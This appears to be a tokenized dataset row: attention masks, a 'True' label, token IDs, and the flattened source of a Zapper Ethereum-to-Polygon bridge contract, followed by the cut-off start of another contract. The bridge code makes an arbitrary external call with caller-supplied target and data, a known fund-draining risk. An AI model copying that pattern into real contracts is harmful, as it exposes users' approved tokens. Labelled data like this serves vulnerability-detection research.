1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-17
*/
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract swaps and bridges ETH/Tokens to Matic/Polygon
// SPDX-License-Identifier: GPLv2
// File: contracts/oz/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/oz/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/oz/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/oz/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/oz/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
// File: contracts/oz/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: contracts/_base/ZapBaseV1.sol
pragma solidity ^0.5.7;
contract ZapBaseV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
bool public stopped = false;
// if true, goodwill is not deducted
mapping(address => bool) public feeWhitelist;
uint256 public goodwill;
// % share of goodwill (0-100 %)
uint256 affiliateSplit;
// restrict affiliates
mapping(address => bool) public affiliates;
// affiliate => token => amount
mapping(address => mapping(address => uint256)) public affiliateBalance;
// token => amount
mapping(address => uint256) public totalAffiliateBalance;
address
internal constant ETHAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(uint256 _goodwill, uint256 _affiliateSplit) public {
goodwill = _goodwill;
affiliateSplit = _affiliateSplit;
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
function _getBalance(address token)
internal
view
returns (uint256 balance)
{
if (token == address(0)) {
balance = address(this).balance;
} else {
balance = IERC20(token).balanceOf(address(this));
}
}
function _approveToken(address token, address spender) internal {
IERC20 _token = IERC20(token);
if (_token.allowance(address(this), spender) > 0) return;
else {
_token.safeApprove(spender, uint256(-1));
}
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
function set_feeWhitelist(address zapAddress, bool status)
external
onlyOwner
{
feeWhitelist[zapAddress] = status;
}
function set_new_goodwill(uint256 _new_goodwill) public onlyOwner {
require(
_new_goodwill >= 0 && _new_goodwill <= 100,
"GoodWill Value not allowed"
);
goodwill = _new_goodwill;
}
function set_new_affiliateSplit(uint256 _new_affiliateSplit)
external
onlyOwner
{
require(
_new_affiliateSplit <= 100,
"Affiliate Split Value not allowed"
);
affiliateSplit = _new_affiliateSplit;
}
function set_affiliate(address _affiliate, bool _status)
external
onlyOwner
{
affiliates[_affiliate] = _status;
}
///@notice Withdraw goodwill share, retaining affilliate share
function withdrawTokens(address[] calldata tokens) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == ETHAddress) {
qty = address(this).balance.sub(
totalAffiliateBalance[tokens[i]]
);
Address.sendValue(Address.toPayable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this)).sub(
totalAffiliateBalance[tokens[i]]
);
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
///@notice Withdraw affilliate share, retaining goodwill share
function affilliateWithdraw(address[] calldata tokens) external {
uint256 tokenBal;
for (uint256 i = 0; i < tokens.length; i++) {
tokenBal = affiliateBalance[msg.sender][tokens[i]];
affiliateBalance[msg.sender][tokens[i]] = 0;
totalAffiliateBalance[tokens[i]] = totalAffiliateBalance[tokens[i]]
.sub(tokenBal);
if (tokens[i] == ETHAddress) {
Address.sendValue(msg.sender, tokenBal);
} else {
IERC20(tokens[i]).safeTransfer(msg.sender, tokenBal);
}
}
}
function() external payable {
require(msg.sender != tx.origin, "Do not send ETH directly");
}
}
// File: contracts/MaticBridge/Zapper_Matic_Bridge_V1.sol
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
// PoS Bridge
interface IRootChainManager {
function depositEtherFor(address user) external payable;
function depositFor(
address user,
address rootToken,
bytes calldata depositData
) external;
function tokenToType(address) external returns (bytes32);
function typeToPredicate(bytes32) external returns (address);
}
// Plasma Bridge
interface IDepositManager {
function depositERC20ForUser(
address _token,
address _user,
uint256 _amount
) external;
}
contract Zapper_Matic_Bridge_V1_2 is ZapBaseV1 {
IRootChainManager public rootChainManager;
IDepositManager public depositManager;
address
private constant maticAddress = 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0;
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{
rootChainManager = IRootChainManager(
0xA0c68C638235ee32657e8f720a23ceC1bFc77C77
);
depositManager = IDepositManager(
0x401F6c983eA34274ec46f84D70b31C151321188b
);
IERC20(maticAddress).approve(address(depositManager), uint256(-1));
}
/**
@notice Bridge from Ethereum to Matic
@notice Use index 0 for primary swap and index 1 for matic swap
@param fromToken Address of the token to swap from
@param toToken Address of the token to bridge
@param swapAmounts Quantites of fromToken to swap to toToken and matic
@param minTokensRec Minimum acceptable quantity of swapped tokens and/or matic
@param swapTargets Execution targets for swaps
@param swapData DEX swap data
@param affiliate Affiliate address
*/
function ZapBridge(
address fromToken,
address toToken,
uint256[2] calldata swapAmounts,
uint256[2] calldata minTokensRec,
address[2] calldata swapTargets,
bytes[2] calldata swapData,
address affiliate
) external payable {
uint256[2] memory toInvest = _pullTokens(
fromToken,
swapAmounts,
affiliate
);
if (swapAmounts[0] > 0) {
// Token swap
uint256 toTokenAmt = _fillQuote(
fromToken,
toInvest[0],
toToken,
swapTargets[0],
swapData[0]
);
require(toTokenAmt >= minTokensRec[0], "ERR: High Slippage 1");
_bridgeToken(toToken, toTokenAmt);
}
// Matic swap
if (swapAmounts[1] > 0) {
uint256 maticAmount = _fillQuote(
fromToken,
toInvest[1],
maticAddress,
swapTargets[1],
swapData[1]
);
require(maticAmount >= minTokensRec[1], "ERR: High Slippage 2");
_bridgeMatic(maticAmount);
}
}
function _bridgeToken(address toToken, uint256 toTokenAmt) internal {
if (toToken == address(0)) {
rootChainManager.depositEtherFor.value(toTokenAmt)(msg.sender);
} else {
bytes32 tokenType = rootChainManager.tokenToType(toToken);
address predicate = rootChainManager.typeToPredicate(tokenType);
_approveToken(toToken, predicate);
rootChainManager.depositFor(
msg.sender,
toToken,
abi.encode(toTokenAmt)
);
}
}
function _bridgeMatic(uint256 maticAmount) internal {
depositManager.depositERC20ForUser(
maticAddress,
msg.sender,
maticAmount
);
}
// 0x Swap
function _fillQuote(
address fromToken,
uint256 amount,
address toToken,
address swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (fromToken == toToken) {
return amount;
}
if (fromToken == address(0)) {
valueToSend = amount;
} else {
_approveToken(fromToken, swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function _pullTokens(
address fromToken,
uint256[2] memory swapAmounts,
address affiliate
) internal returns (uint256[2] memory toInvest) {
if (fromToken == address(0)) {
require(msg.value > 0, "No eth sent");
require(
swapAmounts[0].add(swapAmounts[1]) == msg.value,
"msg.value != fromTokenAmounts"
);
} else {
require(msg.value == 0, "Eth sent with token");
// transfer token
IERC20(fromToken).safeTransferFrom(
msg.sender,
address(this),
swapAmounts[0].add(swapAmounts[1])
);
}
if (swapAmounts[0] > 0) {
toInvest[0] = swapAmounts[0].sub(
_subtractGoodwill(fromToken, swapAmounts[0], affiliate)
);
}
if (swapAmounts[1] > 0) {
toInvest[1] = swapAmounts[1].sub(
_subtractGoodwill(fromToken, swapAmounts[1], affiliate)
);
}
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (!whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion = totalGoodwillPortion
.mul(affiliateSplit)
.div(100);
affiliateBalance[affiliate][token] = affiliateBalance[affiliate][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2459,
1008,
1013,
1013,
1013,
100,
1013,
1013,
100,
1013,
1013,
100,
1013,
1013,
100,
1013,
1013,
100,
1013,
1013,
100,
1013,
1013,
9385,
1006,
1039,
1007,
25682,
23564,
18620,
1013,
1013,
2023,
2565,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
1013,
1013,
2009,
2104,
1996,
3408,
1997,
1996,
27004,
21358,
7512,
2080,
2236,
2270,
6105,
2004,
2405,
2011,
1013,
1013,
1996,
2489,
4007,
3192,
1010,
2593,
2544,
1016,
1997,
1996,
6105,
1010,
2030,
1013,
1013,
1006,
2012,
2115,
5724,
1007,
2151,
2101,
2544,
1012,
1013,
1013,
1013,
1013,
2023,
2565,
2003,
5500,
1999,
1996,
3246,
2008,
2009,
2097,
2022,
6179,
1010,
1013,
1013,
2021,
2302,
2151,
10943,
2100,
1025,
2302,
2130,
1996,
13339,
10943,
2100,
1997,
1013,
1013,
6432,
8010,
2030,
10516,
2005,
1037,
3327,
3800,
1012,
2156,
1996,
1013,
1013,
27004,
21358,
7512,
2080,
2236,
2270,
6105,
2005,
2062,
4751,
1012,
1013,
1013,
1013,
1013,
1013,
1030,
3166,
23564,
18620,
1013,
1013,
1013,
1030,
5060,
2023,
3206,
19948,
2015,
1998,
7346,
3802,
2232,
1013,
19204,
2015,
2000,
13523,
2594,
1013,
26572,
7446,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
2615,
2475,
1013,
1013,
5371,
1024,
8311,
1013,
11472,
1013,
28177,
2078,
1013,
6123,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
3206,
6123,
1063,
1013,
1013,
4064,
4722,
9570,
2953,
1010,
2000,
4652,
2111,
2013,
20706,
21296,
2075,
1013,
1013,
2019,
6013,
1997,
2023,
3206,
1010,
2029,
2323,
2022,
2109,
3081,
12839,
1012,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
3025,
1011,
2240,
2053,
1011,
4064,
1011,
5991,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
11472,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
